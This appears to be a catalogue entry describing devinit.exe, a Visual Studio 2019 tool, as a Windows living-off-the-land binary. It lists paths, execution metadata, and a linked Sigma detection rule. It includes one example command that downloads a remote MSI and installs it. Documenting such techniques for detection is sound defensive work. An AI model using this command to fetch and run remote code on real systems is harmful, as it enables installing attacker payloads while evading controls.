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devinit

Visual Studio 2019 tool Located at: C:\Program Files\Microsoft Visual Studio\<version>\Community\Common7\Tools\devinit\devinit.exe; C:\Program Files (x86)\Microsoft Visual Studio\<version>\Community\Common7\Tools\devinit\devinit.exe.

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devinit
devinit

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

Downloads an MSI file to C:\Windows\Installer and then installs it. (Executes code from a (remote) MSI file.)

devinit.exe run -t msi-install -i {REMOTEURL:.msi}

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml

Documentation

devinit

devinit is a Windows LOLBin. Visual Studio 2019 tool Located at: C:\Program Files\Microsoft Visual Studio<version>\Community\Common7\Tools\devinit\devinit.exe; C:\Program Files (x86)\Microsoft Visual Studio<version>\Community\Common7\Tools\devinit\devinit.exe.

References